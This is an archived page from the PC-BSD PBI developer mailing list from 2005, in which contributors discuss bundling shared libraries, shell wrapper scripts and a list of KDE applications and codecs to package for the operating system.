ldd exefile | grep -o -e "[[:space:]]\/[a-z0-9++-_\/.]*" | xargs -J REPLACE cp 
REPLACE ../lib/ 
>
>
> --
> Charles A. Landemaine.
>
>
> -------------------------------------------------------
> This SF.net email is sponsored by: Splunk Inc. Do you grep through log
> files for problems?  Stop!  Download the new AJAX search engine that makes
> searching your log files as easy as surfing the  web.  DOWNLOAD SPLUNK!
> http://ads.osdn.com/?ad_idv37&alloc_id865&op=Click
> _______________________________________________
> Pcbsd-pbi-dev mailing list
> Pcb...@li...
> https://lists.sourceforge.net/lists/listinfo/pcbsd-pbi-dev

-- 
Did you sent me an attachment in Microsoft Word format, a secret
proprietary format, so I cannot read it?

If you send me the plain text, HTML, or PDF, then I could 
read it.

Sending people documents in Word format has bad effects, 
because that practice puts pressure on them to use Microsoft
software. In effect, you become a buttress of the Microsoft
monopoly. This specific problem is a major obstacle to the 
broader adoption of PCBSD. Would you please reconsider the 
use of Word format for communication with other people?

Hello guys,

I don't know if I could port software to PC-BSD faster. I'm taking
much time copying manually all libs to the libs folder...

For instance I created a Kaffeine PBI, but the PBC didn't copy all
libs as I created the PBI. The libs folder was empty although I asked
to auto-populate it...

There were 47 libs that I had to copy to its libs folder. One more
thing: I found out that each FreeBSD package has a lib folder, and the
PBC created a libs folder. Couldn't we merge them into a single
libraries directory for the sake of consistency?

--
Charles A. Landemaine.

I have just created a PBI that basically installs codecs on the user's
computer. There is no executable, just libraries.

The PBC doesn't allow to create a PBI without adding at least one
executable. To force it, I added the 1st codec I found, as the
"executable", but I think adding a binary shouldn't be mandatory.

Not all PBIs are binaries, or at least, applications (in this case). I
had the same issue with the MS Fonts PBI...

What do you think?

--
Charles A. Landemaine.

I think linux_base is old and actually I have seen it unchanged for years n=
ow...
Probably, one day PC-BSD will update to a newer version of the Linux
Compat, at least when FreeBSD does...

Will our  linux applications break because of that? Or can we keep cool? :)

--
Charles A. Landemaine.

On Tuesday 29 November 2005 01:43 pm, mark wrote:
> This is a list of applications that could help the spread of this fantastic
> one os.

> peer-to-peer
> apollon
> amule adunanza
> valknut
> linux dc++
> d4x
> ktorrent
Already up.

> multimedia
> k9copy
Good idea i'll start on this.
> kdvdbackup
Working on.
> audacity
Working on.
> kaffeine
Done (Need to upload)
> amarok
Waiting for approval
> avidemux
> k3b
Already up.
> KDE DVD Authoring Wizard
Working on.
> Konverter
I should have thought of this one to do...
>
> utility
> MountISO
Working on
> kiso

-------------------------
> libdvdcss2     | 
> w32codec      |
> xine-lib 1.1.1  |
>------------------------
^^^^^^^^^^^ Those are all dependancies....
>
> -------------------------------------------------------
> This SF.net email is sponsored by: Splunk Inc. Do you grep through log
> files for problems?  Stop!  Download the new AJAX search engine that makes
> searching your log files as easy as surfing the  web.  DOWNLOAD SPLUNK!
> http://ads.osdn.com/?ad_id=7637&alloc_id=16865&op=click
> _______________________________________________
> Pcbsd-pbi-dev mailing list
> Pcb...@li...
> https://lists.sourceforge.net/lists/listinfo/pcbsd-pbi-dev

This is a list of applications that could help the spread of this fantastic 
one os.

peer-to-peer
apollon 
amule adunanza
valknut
linux dc++
d4x
ktorrent

multimedia
k9copy
kdvdbackup
audacity
kaffeine
amarok
avidemux
k3b
KDE DVD Authoring Wizard 
Konverter

utility
MountISO
kiso
libdvdcss2
w32codec
xine-lib 1.1.1

This is a list of applications that could help the spread of this fantastic 
one os.

peer-to-peer
apollon 
amule adunanza
valknut
linux dc++
d4x
ktorrent

multimedia
k9copy
kdvdbackup
audacity
kaffeine
amarok
avidemux
k3b
KDE DVD Authoring Wizard 
Konverter

utility
MountISO
kiso
libdvdcss2
w32codec
xine-lib 1.1.1

Ok cool BUT i uploaded it to my account on the pcbsd.homeunix.org ftp
server, and is it ok if you get it from as my internet is DAMN slow and it
took like 12 hours to upload (33MB)

On Friday 18 November 2005 08:35 pm, Charles A. Landemaine wrote:
> > ALSO i have created a KMplayer PBI but what is the procedure for adding
> > PBIs now? Can i just add it to pbiDir or must i Submit it for approval?
>
> I suggest you submit for approval so that we install it and make sure
> it works on a different system with possibly different libraries
> installed so that we're 90% sure no library is missing. What do you
> think?
>
> --
> Charles A. Landemaine.
>
>
> -------------------------------------------------------
> This SF.Net email is sponsored by the JBoss Inc.  Get Certified Today
> Register for a JBoss Training Course.  Free Certification Exam
> for All Training Attendees Through End of 2005. For more info visit:
> http://ads.osdn.com/?ad_idv28&alloc_id845&op=Click
> _______________________________________________
> Pcbsd-pbi-dev mailing list
> Pcb...@li...
> https://lists.sourceforge.net/lists/listinfo/pcbsd-pbi-dev

On Friday 18 November 2005 06:12 pm, Charles A. Landemaine wrote:
> > With kde you have a marvalous environment varible called KDEDIRS
> >
> > So all you need to do is:
> > * Get the package of amaroK
> > * Untar it in the directory
> > * rm -rfv +*
> > * cd bin
> > * mv amarok amarok.orig
> > * cat >> amarok
> >    #!/bin/sh
> >    KDEDIRS="/Programs/AmaroK1.0:/usr/local
> >    /Programs/bin/amarok.orig
> > * chmod +x amarok
> >
> > And PBI That! setting your app to amarok (the chell script one)
> > For a working example check out KTorrent.
>
> Federico, it's still not working...
>
> %/usr/local/bin/amarok
> amaroK: [Loader] Starting amarokapp..
> amaroK: [Loader] Don't run gdb, valgrind, etc. against this binary!
> Use amarokapp.
> amarok: BEGIN: App::App()
> amarok:   BEGIN: void App::fixHyperThreading()
> amarok:     SCHEDAFFINITY_SUPPORT disabled since this isn't Linux
> amarok:   END__: void App::fixHyperThreading() - Took 0.00032s
> amarok:   BEGIN: EngineBase* EngineController::loadEngine(const QString&)
> amarok:     [PluginManager] Plugin trader constraint:
> [X-KDE-amaroK-framework-version] == 14 and [X-KDE-amaroK-plugintype]
> == 'engine' and [X-KDE-amaroK-name] != 'void-engine' and
> [X-KDE-amaroK-rank] > 0
> kio (KMimeType): WARNING: KServiceType::offers : servicetype
> amaroK/Plugin not found
> amarok:     [PluginManager] Plugin trader constraint:
> [X-KDE-amaroK-framework-version] == 14 and [X-KDE-amaroK-plugintype]
> == 'engine' and [X-KDE-amaroK-name] == 'void-engine' and
> [X-KDE-amaroK-rank] > 0
> kio (KMimeType): WARNING: KServiceType::offers : servicetype
> amaroK/Plugin not found
> kbuildsycoca running...
> Reusing existing ksycoca
> kbuildsycoca: WARNING:
> '/usr/local/share/applications/kde/kpovmodeler.desktop' specifies
> undefined mimetype/servicetype 'KPovModeler/Document'
> kbuildsycoca: WARNING: 'kcertpart.desktop' specifies undefined
> mimetype/servicetype 'application/binary-certificate'
> kbuildsycoca: WARNING:
> '/usr/local/share/applications/kde/kmid.desktop' specifies undefined
> mimetype/servicetype 'audio/midi'
> kbuildsycoca: WARNING:
> '/usr/local/share/applications/kde/kolourpaint.desktop' specifies
> undefined mimetype/servicetype 'image/x-psd'
> kbuildsycoca: WARNING: 'katepart.desktop' specifies undefined
> mimetype/servicetype 'text/x-fortran'
> kbuildsycoca: WARNING: 'knotify.desktop' specifies undefined
> mimetype/servicetype 'KNotify'
>
>
> Here's my shell script:
>
No wonder :) there is no such command as setenv in sh (its a c shell command) 
so change '#!/bin/sh' to '#!/bin/tcsh'
> #!/bin/sh
> setenv KDEDIRS /Programs/Amarok1.3.6:/usr/local
> /Programs/Amarok1.3.6/bin/amarok.orig
>
>
> Any idea?
> Thanks,
>
> --
> Charles A. Landemaine.
>
>
> -------------------------------------------------------
> This SF.Net email is sponsored by the JBoss Inc.  Get Certified Today
> Register for a JBoss Training Course.  Free Certification Exam
> for All Training Attendees Through End of 2005. For more info visit:
> http://ads.osdn.com/?ad_idv28&alloc_id845&op=Click
> _______________________________________________
> Pcbsd-pbi-dev mailing list
> Pcb...@li...
> https://lists.sourceforge.net/lists/listinfo/pcbsd-pbi-dev

2005	Jan	Feb	Mar	Apr	May	Jun	Jul	Aug	Sep	Oct	Nov (15)	Dec (6)
2006	Jan	Feb (6)	Mar	Apr (1)	May	Jun	Jul	Aug	Sep (2)	Oct (1)	Nov	Dec
2008	Jan	Feb	Mar	Apr	May	Jun (2)	Jul	Aug (2)	Sep	Oct	Nov	Dec
2014	Jan	Feb	Mar (1)	Apr (1)	May	Jun	Jul	Aug	Sep	Oct	Nov	Dec

pcbsd-pbi-dev Mailing List for PC-BSD

pcbsd-pbi-dev — The official PC-BSD PBI Developer List